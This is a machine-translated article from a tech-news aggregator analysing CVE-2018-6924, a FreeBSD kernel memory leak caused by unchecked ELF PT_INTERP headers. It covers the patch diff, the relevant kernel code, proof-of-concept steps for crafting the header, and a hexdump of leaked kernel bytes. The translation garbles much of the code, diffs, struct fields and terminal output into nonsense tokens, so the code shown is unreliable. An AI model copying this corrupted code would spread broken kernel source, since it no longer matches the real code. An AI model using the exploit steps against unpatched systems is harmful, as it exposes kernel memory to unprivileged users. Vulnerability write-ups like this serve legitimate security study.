Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to parse the kernel memory leak caused by FreeBSD ELF header

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article introduces how to parse the kernel memory leak caused by FreeBSD ELF header, the content is very detailed, interested friends can refer to, hope to be helpful to you.

In the FreeBSD-SA-18:12 security bulletin, FreeBSD fixes a kernel memory leak that affects all versions of the relevant operating system. This vulnerability is the protagonist of this article: vulnerability CVE-2018-6924. Because the FreeBSD kernel lacks valid verification when parsing the ELF header pointed to by the code, local non-privileged users can take advantage of this vulnerability to view the data in kernel memory.

Vulnerability patch analysis

As usual, the security bulletin contains a link to the patch source code, so let's take a look at the relevant patch code:

-sys/kern/imgact_elf.c.orig+++sys/kern/imgact_elf.c@@-839,7 + 839 Magazine 8 @ @ break; case PT_INTERP: / * Path to interpreter * /-if (phdr [I] .p _ filesz > MAXPATHLEN) {+ if (phdr.p _ filesz)

< 2||+ phdr[i].p_filesz >

MAXPATHLEN) {uprintf ("InvalidPT_INTERP\ n"); error = ENOEXEC; goto ret;@@-870,6 + 871 offset 11 @ @} else {interp = _ _ DECONST (char *, imgp- > image_header) + PHDR [I] .p _ offset + if (interp [interp _ name_len-1]! ='\ 0') {+ uprintf ("Invalid PT_INTERP\ n"); + error = ENOEXEC;+ goto ret +} break; case PT_GNU_STACK:---sys/kern/vfs_vnops.c.orig+++sys/kern/vfs_vnops.c@@-528,6 + 528 break; case PT_GNU_STACK:---sys/kern/vfs_vnops.c.orig+++sys/kern/vfs_vnops.c@@-528,6 8 @ @ struct vn_io_fault_args args; int error, lock_flags;+ if (offset

< 0 && vp->

Vested typefaces = VCHR) + return (EINVAL); auio.uio_iov = & ampaiov; auio.uio_iovcnt = 1polio. Iov.iovroombase = base

There are two modifications: sys/kern/imgact_elf.c and sys/kern/vfs_vnops.c. The sys/kern/imgact_elf.c file contains the code used by the kernel to parse and execute the ELF header of the code. The fixed function is as follows:

Static int777 _ _ CONCAT (exec_, _ elfN (imgact)) (struct image_params * imgp) 778 {[...]

The names of the affected functions are _ _ CONCAT and _ _ elfN macros. Generated by _ _ CONCAT, which consists of these two parameters, _ _ elfN is defined in sys/sys/elf_generic.h:

The function name _ _ CONCAT (exec_, _ _ elfN (imgact)) can be extended to exec_elf32_imgact or exec_elf64_imgact, depending on whether _ _ ELF_WORD_SIZE is defined as 32 or 64. But after looking at the sys/kern/ source directory, we can see two small files called imgact_elf32.c and imgact_elf64.c, which are responsible for defining the appropriate value for _ _ ELF_WORD_SIZE and then introducing the vulnerable file kern/imgact_elf.c. At this point, the kernel contains two versions of sys/kern/imgact_elf.c (functions in), and these function names are built using the _ _ elfN macro: one version handles 32-bit ELF code, and the other version handles 64-bit ELF files.

Imgact_elf32.c:#define__ELF_WORD_SIZE 32#includeimgact_elf64.c:#define__ELF_WORD_SIZE 64#include

Going back to the patch code, it's obvious that the problem lies with the PT_INTERP program that processes the ELF file:

Static int__CONCAT (exec_,__elfN (imgact)) (struct image_params * imgp) {[...] For (I = 0; I)

< hdr->

EBay phnumm; iTunes +) {switch (phdr [I] .p _ type) {[...] Case PT_INTERP: / * Path to interpreter * / if (phdr [I] .p _ filesz > MAXPATHLEN) {uprintf ("InvalidPT_INTERP\ n"); error = ENOEXEC; goto ret;} [...]

The PT_INTERP header contains the path name of the program parser, which is meaningful only for executables. PT_INTERP headers use dynamic links when pointing to executables and are responsible for loading the required shared libraries for dynamically linked executables. Generally speaking, FreeBSD's program parser is set in / libexec/ld-elf.so.1.

Here is a special version of the Elf_Phdr structure for 32-bit ELF files:

Typedef struct {Elf32_Word paired type; / * Entry type. * / Elf32_Off paired offset; / * File offset of contents. * / Elf32_Addr pairvaddr; / * Virtual address in memory image. * / Elf32_Addr paddr; / * Physical address (not used). * / Elf32_Word paired filesz; / * Size of contents in file. * / Elf32_Word paired memsz; / * Size of contents in memory. * / Elf32_Word packs; / * Access permission flags. * / Elf32_Word palletizing; / * Alignment in memory and file. * /} Elf32_Phdr

The old version of the code only detects "if Phdr [I]. P _ filesz > MAXPATHLEN". If the condition is true, the function throws an ENOEXEC exception, while the fixed code adds additional detection.

Build PoC

To trigger the vulnerability, we need to populate our ELF into a separate page, with C pseudo code as follows:

Int main (int argc, char** argv) {return argc;}

Then use the clang instruction and the-M32 parameter to generate a 32-bit executable program, and add the-Oz-Wl and-s parameters to make the file size as small as possible (no more than 4096 bytes).

% clang-Oz-Wl,-s-M32 test.c-o test

Here is the PT_INTERP-related code we built:

840 case PT_INTERP: [...] 852 interp_name_len = Phdr [I] .p _ filesz 853 if (imgp- [I] .p _ offset > PAGE_SIZE | | 854 interp_name_len > PAGE_SIZE-phdr [I] .p _ offset) {855 VOP_UNLOCK (imgp- > vp, 0) 856 interp_buf = malloc (interp_name_len + 1, 857 M_WAITOK); 858 vn_lock (imgp- > vp, LK_EXCLUSIVE | LK_RETRY) Error = vn_rdwr (UIO_READ, imgp- > vp, interp_buf,860 interp_name_len, PHDR [I] .p _ offset,861 UIO_SYSSPACE, IO_NODELOCKED, td- > td_ucred,862 NOCRED,NULL, td) 863 if (error! = 0) {864 uprintf ("I error PT_INTERP\ n"); 865 gotoret 866} 867 interp_ BUF [interp _ name_len] ='\ 0potential interp = interp_buf Else {870 interp = _ _ DECONST (char *, imgp- > image_header) + 871 phdr.p _ offset;872} 873 break

We can see lines 853 and 854. If the file offset of the parser path string is on the first page (phdr.p _ offset > PAGE_SIZE), or if the parser path is long enough to exceed the first page (interp_name_len > PAGE_SIZE-phdri] .p _ offset), then the vn_rdwr () function will be called and read the corresponding vnode of the ELF file.

The critical trigger for this vulnerability is that the p_offset member does not exceed the 0x1000 and the parser path string does not exceed the length of the PAGE_SIZE-phdr [I] .p _ offset. So the key to triggering this vulnerability is that we need to construct a PT_INTERP header that contains the p_offset member value 0x1000, and then make the p_filesz member value 0. We used Kaitai WebIDE here to build what we needed:

Disclose kernel data

The exec_elf32_imgact () function calls the elf32_load_file () function to load the interpreter, and the target file name path is contained in the interp variable:

1036 if (interp! = NULL) {1037 have_interp = FALSE; [...] 1058 if (! have_interp) {1059 error = _ elfN (load_file) (imgp- > proc, interp, & addr,1060 & imgp- > entry_addr, sv- > sv_pagesize) 1061} 1062 vn_lock (imgp- > vp,LK_EXCLUSIVE | LK_RETRY); 1063 if (error! = 0) {1064 uprintf ("ELF interpreter% s not found, error% d\ n", 1065 interp,error) 1066 goto ret;1067}

After running the modified ELF file, we can see that it will steal the contents of the kernel memory:

Francisco@freebsd112:~%. / poc1ELFinterpreter 0.3 FreeBSD112 not found, error 2Abortfranciscoined FreeBSD 112 not found%. / poc1ELFinterpreter not found, error 2Abortfranciscoined FreeBSD112 not found. / poc1ELFinterpreter $printed FreeBSD FreeBSD, error 2Abortfranciscoexisting FreeBSD112 not found%. / poc1ELFinterpreter ^? ELF ^ A ^ A not found, error2Abort to get unprintable output

The following code snippet can exploit this vulnerability to obtain 75 bytes of hexadecimal export data in kernel memory:

Francisco@freebsd112:~% script-Q capture1. / poc1ELFinterpreter? ^ [(^ [(?) ^ [(^ Z (^ Z (^ Z) (^ Z (^ Z) (^ [) 17 ^ [(5 ^ [(not found)) Hexdump-C capture100000000 70 6f 63 31 3a 0d 0a 45 4c 46 20 69 6e 74 65 72 | poc1:..ELF inter | 00000010 70 72 65 74 65 72 20 c5 83 5e 28 cc 83 5e 5b | preter. [. ^ [| 00000020 28 d 4 83 5e 5b 28 dc 83 5e 28 98 83 5e 5b 28 | .^ [(| 00000030 d8 d1 5e 5a 28 e2 d1 5a 28 fe e5a 5a 28 9c |.. . ^ Z (. | 00000040 bf 5e 5a 28 e3 83 5e 5b 28 31 37 5e 5b 28 35 ba |. ^ [(17 ^ [(5. | 00000050 5e 5b 28 e6 83 5e 5b 28 e9 83 5e 5b 28 f2 83 5e | ^ [. ^ | 00000060 5b 28 20 6e 6f 74 20 66 6f 75 6e 64 2c 20 65 72 | [(not found) Er | 00000070 72 6f 72 20 320 d 0a 70 6f 63 31 3a 20 73 69 67 | ror 2..poc1: sig | 00000080 6e 61 6c 20 360 d 0a | nal 6.. | 00000087 this is how to parse kernel memory leaks caused by FreeBSD ELF headers. I hope the above content can be of some help to you and learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report